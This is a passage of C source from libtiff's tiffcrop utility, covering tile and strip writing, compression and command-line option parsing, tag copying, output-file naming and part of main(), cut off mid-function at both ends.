scanlinesize, src - buf); dump_buffer(dump->outfile, dump->format, nrows, scanlinesize, row, obuf); } if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 1; } } } _TIFFfree(obuf); return 0; } /* Extract all planes from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToContigTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts* dump) { uint16 bps; uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint32 tile_rowsize = TIFFTileRowSize(out); uint8* bufp = (uint8*) buf; tsize_t tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(out); unsigned char *tilebuf = NULL; if( !TIFFGetField(out, TIFFTAG_TILELENGTH, &tl) || !TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw) || !TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps) ) return 1; if (tilesize == 0 || tile_rowsize == 0 || tl == 0 || tw == 0) { TIFFError("writeBufferToContigTiles", "Tile size, tile row size, tile width, or tile length is zero"); exit(-1); } tile_buffsize = tilesize; if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("writeBufferToContigTiles", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != tile_buffsize / tile_rowsize) { TIFFError("writeBufferToContigTiles", "Integer overflow when calculating buffer size"); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 1; src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; if (extractContigSamplesToTileBuffer(tilebuf, bufp, nrow, ncol, imagewidth, tw, 0, spp, spp, bps, dump) > 0) { TIFFError("writeBufferToContigTiles", "Unable to extract data to tile for row %lu, col %lu", (unsigned long) row, (unsigned long)col); _TIFFfree(tilebuf); return 1; } if (TIFFWriteTile(out, tilebuf, col, row, 0, 0) < 0) { TIFFError("writeBufferToContigTiles", "Cannot write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(tilebuf); return 1; } } } _TIFFfree(tilebuf); return 0; } /* end writeBufferToContigTiles */ /* Extract each plane from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToSeparateTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts * dump) { tdata_t obuf = _TIFFmalloc(TIFFTileSize(out)); uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint16 bps; tsample_t s; uint8* bufp = (uint8*) buf; if (obuf == NULL) return 1; TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); src_rowsize = ((imagewidth * spp * bps) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { /* Calculate visible portion of tile. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; col_offset = (((col * bps * spp) + 7) / 8); bufp = buf + (row * src_rowsize) + col_offset; for (s = 0; s < spp; s++) { if (extractContigSamplesToTileBuffer(obuf, bufp, nrow, ncol, imagewidth, tw, s, 1, spp, bps, dump) > 0) { TIFFError("writeBufferToSeparateTiles", "Unable to extract data to tile for row %lu, col %lu sample %d", (unsigned long) row, (unsigned long)col, (int)s); _TIFFfree(obuf); return 1; } if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError("writeBufferToseparateTiles", "Cannot write tile at %lu %lu sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 1; } } } } _TIFFfree(obuf); return 0; } /* end writeBufferToSeparateTiles */ static void processG3Options(char* cp) { if( (cp = strchr(cp, ':')) ) { if (defg3opts == (uint32) -1) defg3opts = 0; do { cp++; if (strneq(cp, "1d", 2)) defg3opts &= ~GROUP3OPT_2DENCODING; else if (strneq(cp, "2d", 2)) defg3opts |= GROUP3OPT_2DENCODING; else if (strneq(cp, "fill", 4)) defg3opts |= GROUP3OPT_FILLBITS; else usage(); } while( (cp = strchr(cp, ':')) ); } } static int processCompressOptions(char* opt) { char* cp = NULL; if (strneq(opt, "none",4)) { defcompression = COMPRESSION_NONE; } else if (streq(opt, "packbits")) { defcompression = COMPRESSION_PACKBITS; } else if (strneq(opt, "jpeg", 4)) { cp = strchr(opt, ':'); defcompression = COMPRESSION_JPEG; while (cp) { if (isdigit((int)cp[1])) quality = atoi(cp + 1); else if (strneq(cp + 1, "raw", 3 )) jpegcolormode = JPEGCOLORMODE_RAW; else if (strneq(cp + 1, "rgb", 3 )) jpegcolormode = JPEGCOLORMODE_RGB; else usage(); cp = strchr(cp + 1, ':'); } } else if (strneq(opt, "g3", 2)) { processG3Options(opt); defcompression = COMPRESSION_CCITTFAX3; } else if (streq(opt, "g4")) { defcompression = COMPRESSION_CCITTFAX4; } else if (strneq(opt, "lzw", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_LZW; } else if (strneq(opt, "zip", 3)) { cp = strchr(opt, ':'); if (cp) defpredictor = atoi(cp+1); defcompression = COMPRESSION_ADOBE_DEFLATE; } else return (0); return (1); } static void usage(void) { int i; fprintf(stderr, "\n%s\n", TIFFGetVersion()); for (i = 0; usage_info[i] != NULL; i++) fprintf(stderr, "%s\n", usage_info[i]); exit(-1); } #define CopyField(tag, v) \ if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v) #define CopyField2(tag, v1, v2) \ if (TIFFGetField(in, tag, &v1, &v2)) TIFFSetField(out, tag, v1, v2) #define CopyField3(tag, v1, v2, v3) \ if (TIFFGetField(in, tag, &v1, &v2, &v3)) TIFFSetField(out, tag, v1, v2, v3) #define CopyField4(tag, v1, v2, v3, v4) \ if (TIFFGetField(in, tag, &v1, &v2, &v3, &v4)) TIFFSetField(out, tag, v1, v2, v3, v4) static void cpTag(TIFF* in, TIFF* out, uint16 tag, uint16 count, TIFFDataType type) { switch (type) { case TIFF_SHORT: if (count == 1) { uint16 shortv; CopyField(tag, shortv); } else if (count == 2) { uint16 shortv1, shortv2; CopyField2(tag, shortv1, shortv2); } else if (count == 4) { uint16 *tr, *tg, *tb, *ta; CopyField4(tag, tr, tg, tb, ta); } else if (count == (uint16) -1) { uint16 shortv1; uint16* shortav; CopyField2(tag, shortv1, shortav); } break; case TIFF_LONG: { uint32 longv; CopyField(tag, longv); } break; case TIFF_RATIONAL: if (count == 1) { float floatv; CopyField(tag, floatv); } else if (count == (uint16) -1) { float* floatav; CopyField(tag, floatav); } break; case TIFF_ASCII: { char* stringv; CopyField(tag, stringv); } break; case TIFF_DOUBLE: if (count == 1) { double doublev; CopyField(tag, doublev); } else if (count == (uint16) -1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) /* Functions written by Richard Nolde, with exceptions noted. */ void process_command_opts (int argc, char *argv[], char *mp, char *mode, uint32 *dirnum, uint16 *defconfig, uint16 *deffillorder, uint32 *deftilewidth, uint32 *deftilelength, uint32 *defrowsperstrip, struct crop_mask *crop_data, struct pagedef *page, struct dump_opts *dump, unsigned int *imagelist, unsigned int *image_count ) { int c, good_args = 0; char *opt_offset = NULL; /* Position in string of value sought */ char *opt_ptr = NULL; /* Pointer to next token in option set */ char *sep = NULL; /* Pointer to a token separator */ unsigned int i, j, start, end; #if !HAVE_DECL_OPTARG extern int optind; extern char* optarg; #endif *mp++ = 'w'; *mp = '\0'; while ((c = getopt(argc, argv, "ac:d:e:f:hil:m:p:r:stvw:z:BCD:E:F:H:I:J:K:LMN:O:P:R:S:U:V:X:Y:Z:")) != -1) { good_args++; switch (c) { case 'a': mode[0] = 'a'; /* append to output */ break; case 'c': if (!processCompressOptions(optarg)) /* compression scheme */ { TIFFError ("Unknown compression option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'd': start = strtoul(optarg, NULL, 0); /* initial IFD offset */ if (start == 0) { TIFFError ("","Directory offset must be greater than zero"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *dirnum = start - 1; break; case 'e': switch (tolower((int) optarg[0])) /* image export modes*/ { case 'c': crop_data->exp_mode = ONE_FILE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Composite */ case 'd': crop_data->exp_mode = ONE_FILE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Divided */ case 'i': crop_data->exp_mode = FILE_PER_IMAGE_COMPOSITE; crop_data->img_mode = COMPOSITE_IMAGES; break; /* Image */ case 'm': crop_data->exp_mode = FILE_PER_IMAGE_SEPARATED; crop_data->img_mode = SEPARATED_IMAGES; break; /* Multiple */ case 's': crop_data->exp_mode = FILE_PER_SELECTION; crop_data->img_mode = SEPARATED_IMAGES; break; /* Sections */ default: TIFFError ("Unknown export mode","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'f': if (streq(optarg, "lsb2msb")) /* fill order */ *deffillorder = FILLORDER_LSB2MSB; else if (streq(optarg, "msb2lsb")) *deffillorder = FILLORDER_MSB2LSB; else { TIFFError ("Unknown fill order", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'h': usage(); break; case 'i': ignore = TRUE; /* ignore errors */ break; case 'l': outtiled = TRUE; /* tile length */ *deftilelength = atoi(optarg); break; case 'p': /* planar configuration */ if (streq(optarg, "separate")) *defconfig = PLANARCONFIG_SEPARATE; else if (streq(optarg, "contig")) *defconfig = PLANARCONFIG_CONTIG; else { TIFFError ("Unkown planar configuration", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'r': /* rows/strip */ *defrowsperstrip = atol(optarg); break; case 's': /* generate stripped output */ outtiled = FALSE; break; case 't': /* generate tiled output */ outtiled = TRUE; break; case 'v': TIFFError("Library Release", "%s", TIFFGetVersion()); TIFFError ("Tiffcrop version", "%s, last updated: %s", tiffcrop_version_id, tiffcrop_rev_date); TIFFError ("Tiffcp code", "Copyright (c) 1988-1997 Sam Leffler"); TIFFError (" ", "Copyright (c) 1991-1997 Silicon Graphics, Inc"); TIFFError ("Tiffcrop additions", "Copyright (c) 2007-2010 Richard Nolde"); exit (0); break; case 'w': /* tile width */ outtiled = TRUE; *deftilewidth = atoi(optarg); break; case 'z': /* regions of an image specified as x1,y1,x2,y2:x3,y3,x4,y4 etc */ crop_data->crop_mode |= CROP_REGIONS; for (i = 0, opt_ptr = strtok (optarg, ":"); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ":")), i++) { crop_data->regions++; if (sscanf(opt_ptr, "%lf,%lf,%lf,%lf", &crop_data->corners[i].X1, &crop_data->corners[i].Y1, &crop_data->corners[i].X2, &crop_data->corners[i].Y2) != 4) { TIFFError ("Unable to parse coordinates for region", "%d %s", i, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError ("Region list exceeds limit of", "%d regions %s", MAX_REGIONS, optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1);; } break; /* options for file open modes */ case 'B': *mp++ = 'b'; *mp = '\0'; break; case 'L': *mp++ = 'l'; *mp = '\0'; break; case 'M': *mp++ = 'm'; *mp = '\0'; break; case 'C': *mp++ = 'c'; *mp = '\0'; break; /* options for Debugging / data dump */ case 'D': for (i = 0, opt_ptr = strtok (optarg, ","); (opt_ptr != NULL); (opt_ptr = strtok (NULL, ",")), i++) { opt_offset = strpbrk(opt_ptr, ":="); if (opt_offset == NULL) { TIFFError("Invalid dump option", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } *opt_offset = '\0'; /* convert option to lowercase */ end = strlen (opt_ptr); for (i = 0; i < end; i++) *(opt_ptr + i) = tolower((int) *(opt_ptr + i)); /* Look for dump format specification */ if (strncmp(opt_ptr, "for", 3) == 0) { /* convert value to lowercase */ end = strlen (opt_offset + 1); for (i = 1; i <= end; i++) *(opt_offset + i) = tolower((int) *(opt_offset + i)); /* check dump format value */ if (strncmp (opt_offset + 1, "txt", 3) == 0) { dump->format = DUMP_TEXT; strcpy (dump->mode, "w"); } else { if (strncmp(opt_offset + 1, "raw", 3) == 0) { dump->format = DUMP_RAW; strcpy (dump->mode, "wb"); } else { TIFFError("parse_command_opts", "Unknown dump format %s", opt_offset + 1); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } } else { /* Look for dump level specification */ if (strncmp (opt_ptr, "lev", 3) == 0) dump->level = atoi(opt_offset + 1); /* Look for input data dump file name */ if (strncmp (opt_ptr, "in", 2) == 0) { strncpy (dump->infilename, opt_offset + 1, PATH_MAX - 20); dump->infilename[PATH_MAX - 20] = '\0'; } /* Look for output data dump file name */ if (strncmp (opt_ptr, "out", 3) == 0) { strncpy (dump->outfilename, opt_offset + 1, PATH_MAX - 20); dump->outfilename[PATH_MAX - 20] = '\0'; } if (strncmp (opt_ptr, "deb", 3) == 0) dump->debug = atoi(opt_offset + 1); } } if ((strlen(dump->infilename)) || (strlen(dump->outfilename))) { if (dump->level == 1) TIFFError("","Defaulting to dump level 1, no data."); if (dump->format == DUMP_NONE) { TIFFError("", "You must specify a dump format for dump files"); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } } break; /* image manipulation routine options */ case 'm': /* margins to exclude from selection, uppercase M was already used */ /* order of values must be TOP, LEFT, BOTTOM, RIGHT */ crop_data->crop_mode |= CROP_MARGINS; for (i = 0, opt_ptr = strtok (optarg, ",:"); ((opt_ptr != NULL) && (i < 4)); (opt_ptr = strtok (NULL, ",:")), i++) { crop_data->margins[i] = atof(opt_ptr); } break; case 'E': /* edge reference */ switch (tolower((int) optarg[0])) { case 't': crop_data->edge_ref = EDGE_TOP; break; case 'b': crop_data->edge_ref = EDGE_BOTTOM; break; case 'l': crop_data->edge_ref = EDGE_LEFT; break; case 'r': crop_data->edge_ref = EDGE_RIGHT; break; default: TIFFError ("Edge reference must be top, bottom, left, or right", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'F': /* flip eg mirror image or cropped segment, M was already used */ crop_data->crop_mode |= CROP_MIRROR; switch (tolower((int) optarg[0])) { case 'h': crop_data->mirror = MIRROR_HORIZ; break; case 'v': crop_data->mirror = MIRROR_VERT; break; case 'b': crop_data->mirror = MIRROR_BOTH; break; default: TIFFError ("Flip mode must be horiz, vert, or both", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'H': /* set horizontal resolution to new value */ page->hres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'I': /* invert the color space, eg black to white */ crop_data->crop_mode |= CROP_INVERT; /* The PHOTOMETIC_INTERPRETATION tag may be updated */ if (streq(optarg, "black")) { crop_data->photometric = PHOTOMETRIC_MINISBLACK; continue; } if (streq(optarg, "white")) { crop_data->photometric = PHOTOMETRIC_MINISWHITE; continue; } if (streq(optarg, "data")) { crop_data->photometric = INVERT_DATA_ONLY; continue; } if (streq(optarg, "both")) { crop_data->photometric = INVERT_DATA_AND_TAG; continue; } TIFFError("Missing or unknown option for inverting PHOTOMETRIC_INTERPRETATION", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); break; case 'J': /* horizontal margin for sectioned ouput pages */ page->hmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'K': /* vertical margin for sectioned ouput pages*/ page->vmargin = atof(optarg); page->mode |= PAGE_MODE_MARGINS; break; case 'N': /* list of images to process */ for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_IMAGES)); (opt_ptr = strtok (NULL, ","))) { /* We do not know how many images are in file yet * so we build a list to include the maximum allowed * and follow it until we hit the end of the file. * Image count is not accurate for odd, even, last * so page numbers won't be valid either. */ if (streq(opt_ptr, "odd")) { for (j = 1; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = (MAX_IMAGES - 1) / 2; break; } else { if (streq(opt_ptr, "even")) { for (j = 2; j <= MAX_IMAGES; j += 2) imagelist[i++] = j; *image_count = MAX_IMAGES / 2; break; } else { if (streq(opt_ptr, "last")) imagelist[i++] = MAX_IMAGES; else /* single value between commas */ { sep = strpbrk(opt_ptr, ":-"); if (!sep) imagelist[i++] = atoi(opt_ptr); else { *sep = '\0'; start = atoi (opt_ptr); if (!strcmp((sep + 1), "last")) end = MAX_IMAGES; else end = atoi (sep + 1); for (j = start; j <= end && j - start + i < MAX_IMAGES; j++) imagelist[i++] = j; } } } } } *image_count = i; break; case 'O': /* page orientation */ switch (tolower((int) optarg[0])) { case 'a': page->orient = ORIENTATION_AUTO; break; case 'p': page->orient = ORIENTATION_PORTRAIT; break; case 'l': page->orient = ORIENTATION_LANDSCAPE; break; default: TIFFError ("Orientation must be portrait, landscape, or auto.", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'P': /* page size selection */ if (sscanf(optarg, "%lfx%lf", &page->width, &page->length) == 2) { strcpy (page->name, "Custom"); page->mode |= PAGE_MODE_PAPERSIZE; break; } if (get_page_geometry (optarg, page)) { if (!strcmp(optarg, "list")) { TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } TIFFError ("Invalid paper size", "%s", optarg); TIFFError ("", "Select one of:"); TIFFError("", "Name Width Length (in inches)"); for (i = 0; i < MAX_PAPERNAMES - 1; i++) TIFFError ("", "%-15.15s %5.2f %5.2f", PaperTable[i].name, PaperTable[i].width, PaperTable[i].length); exit (-1); } else { page->mode |= PAGE_MODE_PAPERSIZE; } break; case 'R': /* rotate image or cropped segment */ crop_data->crop_mode |= CROP_ROTATE; switch (strtoul(optarg, NULL, 0)) { case 90: crop_data->rotation = (uint16)90; break; case 180: crop_data->rotation = (uint16)180; break; case 270: crop_data->rotation = (uint16)270; break; default: TIFFError ("Rotation must be 90, 180, or 270 degrees clockwise", "%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'S': /* subdivide into Cols:Rows sections, eg 3:2 would be 3 across and 2 down */ sep = strpbrk(optarg, ",:"); if (sep) { *sep = '\0'; page->cols = atoi(optarg); page->rows = atoi(sep +1); } else { page->cols = atoi(optarg); page->rows = atoi(optarg); } if ((page->cols * page->rows) > MAX_SECTIONS) { TIFFError ("Limit for subdivisions, ie rows x columns, exceeded", "%d", MAX_SECTIONS); exit (-1); } page->mode |= PAGE_MODE_ROWSCOLS; break; case 'U': /* units for measurements and offsets */ if (streq(optarg, "in")) { crop_data->res_unit = RESUNIT_INCH; page->res_unit = RESUNIT_INCH; } else if (streq(optarg, "cm")) { crop_data->res_unit = RESUNIT_CENTIMETER; page->res_unit = RESUNIT_CENTIMETER; } else if (streq(optarg, "px")) { crop_data->res_unit = RESUNIT_NONE; page->res_unit = RESUNIT_NONE; } else { TIFFError ("Illegal unit of measure","%s", optarg); TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); } break; case 'V': /* set vertical resolution to new value */ page->vres = atof (optarg); page->mode |= PAGE_MODE_RESOLUTION; break; case 'X': /* selection width */ crop_data->crop_mode |= CROP_WIDTH; crop_data->width = atof(optarg); break; case 'Y': /* selection length */ crop_data->crop_mode |= CROP_LENGTH; crop_data->length = atof(optarg); break; case 'Z': /* zones of an image X:Y read as zone X of Y */ crop_data->crop_mode |= CROP_ZONES; for (i = 0, opt_ptr = strtok (optarg, ","); ((opt_ptr != NULL) && (i < MAX_REGIONS)); (opt_ptr = strtok (NULL, ",")), i++) { crop_data->zones++; opt_offset = strchr(opt_ptr, ':'); if (!opt_offset) { TIFFError("Wrong parameter syntax for -Z", "tiffcrop -h"); exit(-1); } *opt_offset = '\0'; crop_data->zonelist[i].position = atoi(opt_ptr); crop_data->zonelist[i].total = atoi(opt_offset + 1); } /* check for remaining elements over MAX_REGIONS */ if ((opt_ptr != NULL) && (i >= MAX_REGIONS)) { TIFFError("Zone list exceeds region limit", "%d", MAX_REGIONS); exit (-1); } break; case '?': TIFFError ("For valid options type", "tiffcrop -h"); exit (-1); /*NOTREACHED*/ } } } /* end process_command_opts */ /* Start a new output file if one has not been previously opened or * autoindex is set to non-zero. Update page and file counters * so TIFFTAG PAGENUM will be correct in image. */ static int update_output_file (TIFF **tiffout, char *mode, int autoindex, char *outname, unsigned int *page) { static int findex = 0; /* file sequence indicator */ char *sep; char filenum[16]; char export_ext[16]; char exportname[PATH_MAX]; if (autoindex && (*tiffout != NULL)) { /* Close any export file that was previously opened */ TIFFClose (*tiffout); *tiffout = NULL; } strcpy (export_ext, ".tiff"); memset (exportname, '\0', PATH_MAX); /* Leave room for page number portion of the new filename */ strncpy (exportname, outname, PATH_MAX - 16); if (*tiffout == NULL) /* This is a new export file */ { if (autoindex) { /* create a new filename for each export */ findex++; if ((sep = strstr(exportname, ".tif")) || (sep = strstr(exportname, ".TIF"))) { strncpy (export_ext, sep, 5); *sep = '\0'; } else strncpy (export_ext, ".tiff", 5); export_ext[5] = '\0'; /* MAX_EXPORT_PAGES limited to 6 digits to prevent string overflow of pathname */ if (findex > MAX_EXPORT_PAGES) { TIFFError("update_output_file", "Maximum of %d pages per file exceeded", MAX_EXPORT_PAGES); return 1; } snprintf(filenum, sizeof(filenum), "-%03d%s", findex, export_ext); filenum[14] = '\0'; strncat (exportname, filenum, 15); } exportname[PATH_MAX - 1] = '\0'; *tiffout = TIFFOpen(exportname, mode); if (*tiffout == NULL) { TIFFError("update_output_file", "Unable to open output file %s", exportname); return 1; } *page = 0; return 0; } else (*page)++; return 0; } /* end update_output_file */ int main(int argc, char* argv[]) { #if !HAVE_DECL_OPTARG extern int optind; #endif uint16 defconfig = (uint16) -1; uint16 deffillorder = 0; uint32 deftilewidth = (uint32) 0; uint32 deftilelength = (uint32) 0; uint32 defrowsperstrip = (uint32) 0; uint32 dirnum = 0; TIFF *in = NULL; TIFF *out = NULL; char mode[10]; char *mp = mode; /** RJN additions **/ struct image_data image; /* Image parameters for one image */ struct crop_mask crop; /* Cropping parameters for all images */ struct pagedef page; /* Page definition for output pages */ struct pageseg sections[MAX_SECTIONS]; /* Sections of one output page */ struct buffinfo seg_buffs[MAX_SECTIONS]; /* Segment buffer sizes and pointers */ struct dump_opts dump; /* Data dump options */ unsigned char *read_buff = NULL; /* Input image data buffer */ unsigned char *crop_buff = NULL; /* Crop area buffer */ unsigned char *sect_buff = NULL; /* Image section buffer */ unsigned char *sect_src = NULL; /* Image section buffer pointer */ unsigned int imagelist[MAX_IMAGES + 1]; /* individually specified images */ unsigned int image_count = 0; unsigned int dump_images = 0; unsigned int next_image = 0; unsigned int next_page = 0; unsigned int total_pages = 0; unsigned int total_images = 0; unsigned int end_of_input = FALSE; int seg, length; char temp_filename[PATH_MAX + 1]; little_endian = *((unsigned char *)&little_endian) & '1'; initImageData(&image); initCropMasks(&crop); initPageSetup(&page, sections, seg_buffs); initDumpOptions(&dump); process_command_opts (argc, argv, mp, mode, &dirnum, &defconfig, &deffillorder, &deftilewidth, &deftilelength, &defrowsperstrip, &crop, &page, &dump, imagelist, &image_count); if (argc - optind < 2) usage(); if ((argc - optind) == 2) pageNum = -1; else total_images = 0; /* read multiple input files and write to output file(s) */ while (optind < argc - 1) { in = TIFFOpen (argv[optind], "r"); if (in == NULL) return (-3); /* If only one input file is specified, we can use directory count */ total_images = TIFFNumberOfDirectories(in); if (image_count == 0) { dirnum = 0; total_pages = total_images; /* Only valid with single input file */ } else { dirnum = (tdir_t)(imagelist[next_image] - 1); next_image++; /* Total pages only valid for enumerated list of pages not derived * using odd, even, or last keywords. */ if (image_count > total_images) image_count = total_images; total_pages = image_count; } /* MAX_IMAGES is used for special case "last" in selection list */ if (dirnum == (MAX_IMAGES - 1)) dirnum = total_images - 1; if (dirnum > (total_images)) { TIFFError (TIFFFileName(in), "Invalid image number %d, File contains only %d images", (int)dirnum + 1, total_images); if (out != NULL) (void) TIFFClose(out); return (1); } if (dirnum != 0 && !TIFFSetDirectory(in, (tdir_t)dirnum)) { TIFFError(TIFFFileName(in),"Error, setting subdirectory at %d", dirnum); if (out != NULL) (void) TIFFClose(out); return (1); } end_of_input = FALSE; while (end_of_input == FALSE) { config = defconfig; compression = defcompression; predictor = defpredictor; fillorder = deffillorder; rowsperstrip = defrowsperstrip; tilewidth = deftilewidth; tilelength = deftilelength; g3opts = defg3opts; if (dump.format != DUMP_NONE) { /* manage input and/or output dump files here */ dump_images++; length = strlen(dump.infilename); if (length > 0) { if (dump.infile != NULL) fclose (dump.infile); /* dump.infilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-read-%03d.%s", dump.infilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.infile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.infile, dump.format, "Reading image","%d from %s", dump_images, TIFFFileName(in)); } length = strlen(dump.outfilename); if (length > 0) { if (dump.outfile != NULL) fclose (dump.outfile); /* dump.outfilename is guaranteed to be NUL termimated and have 20 bytes fewer than PATH_MAX */ snprintf(temp_filename, sizeof(temp_filename), "%s-write-%03d.%s", dump.outfilename, dump_images, (dump.format == DUMP_TEXT) ? "txt" : "raw"); if ((dump.outfile = fopen(temp_filename, dump.mode)) == NULL) { TIFFError ("Unable to open dump file for writing", "%s", temp_filename); exit (-1); } dump_info(dump.outfile, dump.format, "Writing image","%d from %s", dump_images, TIFFFileName(in)); } } if (dump.debug) TIFFError("main", "Reading image %4d of %4d total pages.", dirnum + 1, total_pages); if (loadImage(in, &image, &dump, &read_buff)) { TIFFError("main", "Unable to load source image"); exit (-1); } /* Correct the image orientation if it was not ORIENTATION_TOPLEFT. */ if (image.adjustments != 0) { if (correct_orientation(&image, &read_buff)) TIFFError("main", "Unable to correct image orientation"); } if (getCropOffsets(&image, &crop, &dump)) { TIFFError("main", "Unable to define crop regions"); exit (-1); } if (crop.selections > 0) { if (processCropSelections(&image, &crop, &read_buff, seg_buffs)) { TIFFError("main", "Unable to process image selections"); exit (-1); } } else /* Single image segment without zones or regions */ { if (createCroppedImage(&image, &crop, &read_buff, &crop_buff)) { TIFFError("main", "Unable to create output image"); exit (-1); } } if (page.mode == PAGE_MODE_NONE) { /* Whole image or sections not based on output page size */ if (crop.selections > 0) { writeSelections(in, &out, &crop, &image, 